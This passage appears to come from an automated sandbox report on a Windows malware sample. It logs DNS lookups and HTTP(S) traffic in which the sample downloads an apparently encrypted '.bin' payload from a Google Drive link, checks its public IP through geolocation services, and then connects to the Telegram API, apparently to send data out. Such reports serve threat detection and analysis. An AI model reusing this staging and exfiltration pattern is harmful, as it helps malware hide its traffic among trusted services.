Jan 11, 2025 01:23:03.466167927 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:03.507339954 CET	443	49709	104.21.32.1	192.168.2.8
Jan 11, 2025 01:23:03.608159065 CET	443	49709	104.21.32.1	192.168.2.8
Jan 11, 2025 01:23:03.608243942 CET	443	49709	104.21.32.1	192.168.2.8
Jan 11, 2025 01:23:03.608335018 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:03.646020889 CET	49709	443	192.168.2.8	104.21.32.1
Jan 11, 2025 01:23:09.234652996 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:23:09.239633083 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:23:09.450618982 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:23:09.461987972 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:09.462013006 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:09.462069035 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:09.462574959 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:09.462585926 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:09.493921995 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:23:10.085494995 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:10.085704088 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:10.087621927 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:10.087636948 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:10.087899923 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:10.089472055 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:10.131333113 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:10.131417036 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:10.131423950 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:10.402487993 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:10.402731895 CET	443	49710	149.154.167.220	192.168.2.8
Jan 11, 2025 01:23:10.402817011 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:23:10.403279066 CET	49710	443	192.168.2.8	149.154.167.220
Jan 11, 2025 01:24:14.450553894 CET	80	49708	132.226.247.73	192.168.2.8
Jan 11, 2025 01:24:14.451694965 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:24:49.447598934 CET	49708	80	192.168.2.8	132.226.247.73
Jan 11, 2025 01:24:49.452637911 CET	80	49708	132.226.247.73	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:22:55.297811031 CET	60428	53	192.168.2.8	1.1.1.1
Jan 11, 2025 01:22:55.304408073 CET	53	60428	1.1.1.1	192.168.2.8
Jan 11, 2025 01:22:56.591552019 CET	65368	53	192.168.2.8	1.1.1.1
Jan 11, 2025 01:22:56.598787069 CET	53	65368	1.1.1.1	192.168.2.8
Jan 11, 2025 01:23:00.576227903 CET	55673	53	192.168.2.8	1.1.1.1
Jan 11, 2025 01:23:00.583519936 CET	53	55673	1.1.1.1	192.168.2.8
Jan 11, 2025 01:23:01.909193993 CET	60584	53	192.168.2.8	1.1.1.1
Jan 11, 2025 01:23:02.826745033 CET	53	60584	1.1.1.1	192.168.2.8
Jan 11, 2025 01:23:09.454308033 CET	52211	53	192.168.2.8	1.1.1.1
Jan 11, 2025 01:23:09.461272955 CET	53	52211	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:22:55.297811031 CET	192.168.2.8	1.1.1.1	0x144b	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:22:56.591552019 CET	192.168.2.8	1.1.1.1	0x3c68	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:00.576227903 CET	192.168.2.8	1.1.1.1	0x5eba	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:01.909193993 CET	192.168.2.8	1.1.1.1	0x176d	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:09.454308033 CET	192.168.2.8	1.1.1.1	0x2404	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:22:55.304408073 CET	1.1.1.1	192.168.2.8	0x144b	No error (0)	drive.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:22:56.598787069 CET	1.1.1.1	192.168.2.8	0x3c68	No error (0)	drive.usercontent.google.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:00.583519936 CET	1.1.1.1	192.168.2.8	0x5eba	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:23:00.583519936 CET	1.1.1.1	192.168.2.8	0x5eba	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:00.583519936 CET	1.1.1.1	192.168.2.8	0x5eba	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:00.583519936 CET	1.1.1.1	192.168.2.8	0x5eba	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:00.583519936 CET	1.1.1.1	192.168.2.8	0x5eba	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:00.583519936 CET	1.1.1.1	192.168.2.8	0x5eba	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:02.826745033 CET	1.1.1.1	192.168.2.8	0x176d	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:02.826745033 CET	1.1.1.1	192.168.2.8	0x176d	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:02.826745033 CET	1.1.1.1	192.168.2.8	0x176d	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:02.826745033 CET	1.1.1.1	192.168.2.8	0x176d	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:02.826745033 CET	1.1.1.1	192.168.2.8	0x176d	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:02.826745033 CET	1.1.1.1	192.168.2.8	0x176d	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:02.826745033 CET	1.1.1.1	192.168.2.8	0x176d	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:23:09.461272955 CET	1.1.1.1	192.168.2.8	0x2404	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	132.226.247.73	80	6976	C:\Users\user\Desktop\4AMVusDMPP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:23:00.593863964 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 01:23:01.328577995 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:23:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 01:23:01.333426952 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 01:23:01.543998957 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:23:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 01:23:09.234652996 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 01:23:09.450618982 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:23:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	142.250.186.78	443	6976	C:\Users\user\Desktop\4AMVusDMPP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:22:56 UTC	216	OUT	GET /uc?export=download&id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-11 00:22:56 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 00:22:56 GMT Location: https://drive.usercontent.google.com/download?id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--YksDuNI4C3DYunpfOXnJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	142.250.185.129	443	6976	C:\Users\user\Desktop\4AMVusDMPP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:22:57 UTC	258	OUT	GET /download?id=1ic2kfQO2-jYHWvGlUEX35mQZA7m09xr7&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-11 00:22:59 UTC	4945	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC6JaFcOrCddpOEDLbCSQ5oeY5Q-44LT8D8vQcz07iPVW1W3Jrq1hXUPeVceFj-8c7ox Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="rHVoEDpSURjslGUowqcymW181.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Sun, 08 Dec 2024 19:37:01 GMT Date: Sat, 11 Jan 2025 00:22:59 GMT Expires: Sat, 11 Jan 2025 00:22:59 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=IsxT1Q== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 00:22:59 UTC	4945	IN	Data Raw: 8c 42 1b 48 4d b8 13 66 0c 48 ea 52 0a 01 d1 fb 13 7a c1 5c 64 ac 0a 71 2f 66 af 06 11 6f 67 d0 2f 8a 7c 22 b9 96 33 e9 5a f4 41 08 3d 30 80 0c 25 c2 5e 88 01 8d ff 97 ad 59 8d b1 a2 81 a9 13 a2 84 7f c2 3c d7 e1 db 2a 39 8b 5b b8 51 da f2 b4 03 e8 c3 1c 5d 0d 9d 2b b2 4d 59 52 54 bd 7a 15 68 27 a3 3d f1 d2 42 0b 2a f9 53 3e dd ca d8 aa 62 3a fb e0 96 c5 17 12 8f 4f 22 e2 a1 da ff 42 92 17 85 88 d2 22 e5 9a a6 6c 82 c3 ce cf c9 9b fb b1 4a e2 9a 87 60 05 88 ef 16 22 5d 8b 25 fa bf b8 fb 56 a2 52 49 2a 2b ab f4 51 f6 74 7e a9 a9 a3 bc 35 ab b0 4d 80 1b 2a 49 d0 21 f2 df 1f 0c 63 79 74 85 64 1f ca 41 9c 6a 9c fe 2e 91 e6 69 17 55 3f 38 b1 b7 dc 7d 0e 2b 92 9c b3 a1 7b fc 39 1d 87 1e 0b b7 ca fb ba 6f 84 9c 17 cc f8 7c c4 a2 c8 d8 24 63 34 ec 63 43 b9 ca 1c Data Ascii: BHMfHRz\dq/fog/\|"3ZA=0%^Y<9[Q]+MYRTzh'=BS>b:O"B"lJ`"]%VRI+Qt~5MI!cytdAj.iU?8}+{9o\|$c4cC
2025-01-11 00:22:59 UTC	4807	IN	Data Raw: 1a 9e 6e d4 45 02 fa 92 4a 8c f9 8a 93 24 80 3a 25 f1 88 4d e4 d4 bd 46 fd db 57 5e 33 fd 4c 18 ab 73 37 83 b4 b2 4f 9f c9 73 5b d0 0c 49 be b4 3c d4 34 b6 78 ec e6 de ea 36 5d c2 84 29 ff 13 3c 17 84 74 ef 71 99 86 11 0d 8f be c8 58 92 b2 0a 21 28 db 00 e6 23 01 81 1c df 8f ea cd 30 08 a5 c7 5f 3c 65 05 8f bf 19 1f 83 fe c0 0e b7 20 6d 50 e4 6c 3c 27 9d 90 cc d2 e6 cd bf 94 08 94 6d 38 67 58 34 b8 3b 51 89 6c 12 89 e0 cc 56 bd ea cd 46 46 12 11 bd 54 6c 35 8f 33 d3 7e 4b dd 61 25 78 6b ba 44 06 2a da 9d cb 7f 90 77 25 df 7d b9 b2 0c 13 07 ec 94 48 c7 ed 4d 48 6c 66 5e 19 d7 d7 53 6b c5 d0 c9 bd da a0 71 41 e9 61 86 91 62 a9 83 67 a5 b7 6e ab b1 16 a9 90 44 69 64 04 67 1f 94 a2 df 6e 9d 30 ff 6d cd b7 13 2e 64 8f 7c 64 a1 b3 99 d6 5b 43 34 6c 05 51 78 13 Data Ascii: nEJ$:%MFW^3Ls7Os[I<4x6])<tqX!(#0_<e mPl<'m8gX4;QlVFFTl53~Ka%xkD*w%}HMHlf^SkqAabgnDidgn0m.d\|d[C4lQx
2025-01-11 00:22:59 UTC	1324	IN	Data Raw: 51 9f 7d d7 40 d7 29 60 97 09 f8 4d 3c 0a 2f a5 86 eb 80 49 fd 59 ab 1d c1 7c 71 9b 4e f4 74 fc 89 c5 de b7 39 27 c4 4f 6e e9 1b 9b 6a 7b c5 18 07 30 1b 30 1d fc 3c fa 26 ed 59 eb 18 1a 13 1b 34 ef 94 40 90 bd 2c 11 c6 ec 2c 14 e5 17 1e 42 b0 c7 06 d5 2b 98 d2 cf 1c 6c ff 48 5b f1 6e b5 3b 98 7b 71 bd 31 4c 3e c6 d0 76 aa 11 35 a3 53 e7 48 ba 03 a4 f7 d5 08 5d 32 17 74 f8 13 36 b4 54 23 b8 25 99 bb 58 16 96 0d 4d 70 e8 1c c0 43 e9 cb 76 ac b8 61 9e 6b 4a 05 b0 52 1a 2e a1 a0 4c 0c 90 4c 2a ba ab 41 89 ff 9f 09 ea e6 89 e2 77 8f b4 f2 16 a1 51 37 20 69 37 53 e9 63 b2 a6 7e bf 43 bd 4f 1b 7d ef eb 66 ad 90 08 f9 18 e2 2b f4 5e 4d 6b 77 6b 8b 99 ed 70 62 06 14 6a 3c e9 93 b1 dc cf 7b 50 3c f6 f4 7d 14 a1 c5 55 e6 9f 1b 1d d9 ad 04 9b 9f da 20 e9 b3 b4 f2 d4 Data Ascii: Q}@)`M</IY\|qNt9'Onj{00<&Y4@,,B+lH[n;{q1L>v5SH]2t6T#%XMpCvakJR.LL*AwQ7 i7Sc~CO}f+^Mkwkpbj<{P<}U
2025-01-11 00:22:59 UTC	1390	IN	Data Raw: 76 fc 63 ab f6 8b c0 23 7b 99 2c d9 54 25 84 32 fb 38 62 e5 d0 96 54 35 61 c3 74 86 ed 28 11 ad 2b ed 0c c4 1a d1 c5 1f fd 1b 3e 8b be 93 15 1c 3f 9e fd 7b e9 61 39 40 de 4b 71 70 6e 1f 4e 16 fe 3e 85 7a e9 71 a1 30 cb 19 9b 31 92 d8 44 90 ab 2e 39 31 ec 2c 1e e5 22 0d 47 07 56 d8 da 1d 9a 2c c8 10 6e 84 15 34 f0 6a cb 62 98 a7 7b be 67 4c 3e e6 db 60 b9 15 26 a7 62 ea 30 56 45 ab f7 d1 20 8e 29 27 74 f8 59 35 b6 2f 45 b8 25 8c c5 78 cf 96 07 6f 2f f2 91 f5 48 ee d9 56 ab cf 87 86 69 41 ed 95 45 6c e0 67 a0 3c a4 b5 54 58 ba c6 09 f9 5d be 6e cb f8 9f e8 2f 79 b8 e6 0f a9 43 a9 b7 78 31 7e c1 77 b7 30 7e bf 4d e7 a6 0d 7d 95 84 b9 ad 92 79 17 3d f5 51 54 0d 4d 61 0f ae c9 99 9d 15 b0 0f 07 67 8f cb a7 c2 00 b4 37 5a 4e 16 cb ae 64 ce 10 55 e6 95 93 38 c0 Data Ascii: vc#{,T%28bT5at(+>?{a9@KqpnN>zq01D.91,"GV,n4jb{gL>`&b0VE )'tY5/E%xo/HViAElg<TX]n/yCx1~w0~M}y=QTMag7ZNdU8
2025-01-11 00:22:59 UTC	1390	IN	Data Raw: 6f 56 a6 71 7a 77 08 3c 0f ed 33 b9 82 ef 59 ef 21 c7 02 16 a4 81 d6 51 9e ca c2 11 ec e6 3f 1b e7 29 0d 4c 58 97 1c d5 7f f7 39 de 1c 64 93 d8 34 1e 6a cb 62 8b 6b 6a 9b 17 18 24 cc aa 58 f7 15 24 ad 6c fb 5b d0 5c d7 07 d1 20 84 21 05 6f ea 7c c7 b6 2f 63 0f 36 8e d4 18 01 4c 10 b3 a9 b1 1c ca 49 fd cc 65 ae a8 3f 71 6c 31 3f a3 44 0f 14 63 b4 5a 17 83 23 d8 b8 d0 03 af ee 8f 61 28 c6 59 e8 5f db 4a f3 0f ba 48 33 35 61 20 66 c8 67 df fd 66 bf 6c 90 9c 0c 6e fd eb 77 be 85 a9 a6 02 f4 3c 91 35 7b 69 7d 43 ce 8d fc 61 fe 10 27 5c 3a ff ab ad c5 25 28 2f 13 fc cd ba 05 ba 5e 4a db 61 30 0b 27 b7 1f 90 89 e3 3d f8 af 82 ef c5 97 9a 7f 4e d0 52 3c fa 50 1a cb 35 27 d6 ab e4 d4 3f c2 b2 03 00 94 12 b6 6d bb 97 54 50 30 12 5f df 66 92 a1 c2 16 fb b9 a5 fd b3 Data Ascii: oVqzw<3Y!Q?)LX9d4jbkj$X$l[\ !o\|/c6LIe?ql1?DcZ#a(Y_JH35a fgflnw<5{i}Ca'\:%(/^Ja0'=NR<P5'?mTP0_f
2025-01-11 00:22:59 UTC	1390	IN	Data Raw: 6d 6b 64 47 39 e0 de 67 b3 3e 21 a7 69 e0 61 c1 43 8e f7 d1 3b be 34 17 6c f9 13 36 87 2f 69 a9 25 9f b7 c3 0d 96 77 4d 6a e8 1c c0 43 f8 55 2a bd bd 4c 9f 6e 19 b7 b0 52 14 10 8c a1 41 0f 83 49 3b bd fc 00 9d ec 9f 77 81 3b 89 e8 5f db c6 10 07 ad 29 3a 55 81 31 7f ee 66 e1 14 7e bf 4d bd 67 1b 7d ef f8 60 bc 94 1c 49 18 e2 25 99 05 66 28 6c 4b b0 e7 ed 7a 65 27 3d 6d 2d e4 ac b5 cf bd 43 cd 3c f2 dd bd 1e b0 c5 3a 1b 9f 31 17 ca bd 25 9a 8c fc 30 e5 9f 88 e3 de e5 5d 86 4f da 45 42 13 43 04 d0 4e 36 cc 3a c6 38 55 c2 b8 1a 13 85 0c a4 63 9b 3d d4 50 3a 30 02 d2 77 95 9f 64 ba 0e ad ad f8 b1 76 56 96 34 8e c0 c0 0e 89 af ef 3d 8f 5a 99 fb 90 63 a2 d1 ba 14 65 67 04 df e3 01 04 09 35 3e 9c 49 a8 be ec db e6 21 4d 5b a6 7a 9e 9b 1a b8 3a a9 f3 64 8c 94 f6 Data Ascii: mkdG9g>!iaC;4l6/i%wMjCU*LnRAI;w;_):U1f~Mg}`I%f(lKze'=m-C<:1%0]OEBCN6:8Uc=P:0wdvV4=Zceg5>I!M[z:d
2025-01-11 00:22:59 UTC	1390	IN	Data Raw: b0 52 0e 06 72 a0 08 06 90 4d 31 88 d4 09 f5 fe 9b 77 8a e6 89 f9 5f c4 a8 da c4 ad 59 2e 54 58 2c 7f 94 49 87 ee 7e b5 4d 95 9a 33 85 e5 eb 6c a6 95 4a f3 19 e2 2f 8c 7e 9a 6b 7d 45 d3 91 9f 20 73 0f 77 02 ff ee bf ba f8 bc 58 83 3c f2 da b9 ce b2 c9 43 f5 98 09 0a d8 b6 34 99 8e f7 53 81 af 91 82 bb 5f a3 86 49 dd 5a 3c eb 31 7a c6 21 46 a2 ef cc 10 39 d1 bc 18 0e 82 7e 38 6e 93 22 3b 85 3a 3a 17 cc 63 89 b7 fc f7 19 bc a3 9e a8 67 5e bb 5b 85 f9 cb 7a 98 a5 80 38 e1 5b 93 94 9f 62 7e d3 1c e9 7e bd 15 16 fd c6 80 44 cb 3f 8e 50 be bc e1 34 e0 24 4e c4 c4 4d 52 9b d6 b8 3a a9 e2 61 f2 cc e2 b1 5d f6 08 3f cf 25 34 30 fe 4a 59 b0 71 66 50 57 f5 e7 8f 80 0e d6 99 8f 49 b5 61 f0 03 5c 8a a9 ad 03 20 16 35 fa 04 59 cb cb bd 47 af c5 6a 5f e2 97 d2 d7 0d 88 Data Ascii: RrM1w_Y.TX,I~M3lJ/~k}E swX<C4S_IZ<1z!F9~8n";::cg^[z8[b~~D?P4$NMR:a]?%40JYqfPWIa\ 5YGj_
2025-01-11 00:22:59 UTC	1390	IN	Data Raw: 5f 0d 4d 6d 6e 46 ce 9c c5 e9 6f 0f 01 7e 25 ff b7 90 9d b2 1f 53 3d f2 d6 c1 10 a0 cf 5f 89 9a 30 1d d3 9e a0 91 9f f6 32 e0 a2 98 e6 2a 8b b0 8c 5e da 44 d3 ed 50 0f cb 2a 1a db 12 66 10 3f c8 a9 15 70 da 0c a4 78 82 5b 7c c5 3a 3a 17 cc 63 98 b2 d4 4f 39 bc 8d 27 a0 76 5c 9f 09 84 a3 54 67 98 df 80 e9 e0 5b 9f 94 c5 63 7e d3 1c c1 7e bd 15 16 f1 d7 98 54 47 dc 98 5a df a0 df 4b e1 37 4f c3 31 62 55 b6 0e 5a 3f a3 83 72 b5 12 e2 b1 5d f1 ff 14 05 36 38 27 e1 63 14 ad fc 72 70 57 dc 68 99 f2 e2 ca 88 f8 99 0c 6a f9 d1 16 47 db 81 10 4f 39 97 df 17 60 73 69 98 5b ce 86 7f 4e 96 47 15 c9 1c fd 99 77 45 ed e1 35 9a 6b 0f dc 3d 4b da 09 f2 4b 59 77 27 51 c1 fb 6e 68 a8 44 6f d5 45 1d 59 ec 12 04 ce 09 7a b3 5b 08 2f e6 80 66 a6 a1 88 a2 50 e7 6d 1b ae 23 89 Data Ascii: _MmnFo~%S=_02^DPf?px[\|::cO9'v\Tg[c~~TGZK7O1bUZ?r]68'crpWhjGO9`si[NGwE5k=KKYw'QnhDoEYz[/fPm#
2025-01-11 00:22:59 UTC	1390	IN	Data Raw: 2c 5b 21 36 c7 2c 32 13 2e c7 ca f2 1a 85 7c b2 5a 12 52 54 5a 2c c4 12 80 75 94 a3 d8 48 54 a1 28 b2 a0 76 57 b2 0e f1 37 dc 7b e8 0d ca 2b e9 f9 bc e3 e8 4f 6b d9 44 df 5b a4 02 01 56 f2 93 22 73 2b 9d 2a 0d 93 ec db e4 95 60 c9 bd aa 66 b3 0c 1a 12 03 f3 64 97 80 ef cf 58 e7 01 13 4b 28 1c 78 ed 4f 53 30 7e 4d 70 53 dd 4d 9e 87 13 08 9b 8f 2a 2e 6c f6 4d d3 a1 56 52 05 4f 97 25 df 26 42 77 cb b7 52 b2 c0 42 1c e6 e5 3a 0c 0d f8 11 13 45 9f cf 15 9a 1b ad e7 9d 4b da 54 e0 46 27 12 26 51 c5 fa 63 40 e6 00 6f df c4 09 69 e8 16 78 cf 18 7d 97 8d 1b 39 f7 98 6b 88 47 68 5c a5 6a 5e 38 70 43 84 2d 31 ac d9 23 ab 01 1f 62 03 b8 d9 1e 03 ab 5a 44 0a e5 fb 2b f4 28 33 c8 a0 84 1a e4 44 9b 67 1b 9d 7a df b8 54 88 fe c2 18 a6 0c 97 34 22 88 1b c6 4d 22 49 6a b4 Data Ascii: ,[!6,2.\|ZRTZ,uHT(vW7{+OkD[V"s+`fdXK(xOS0~MpSM.lMVRO%&BwRB:EKTF'&Qc@oix}9kGh\j^8pC-1#bZD+(3DgzT4"M"Ij
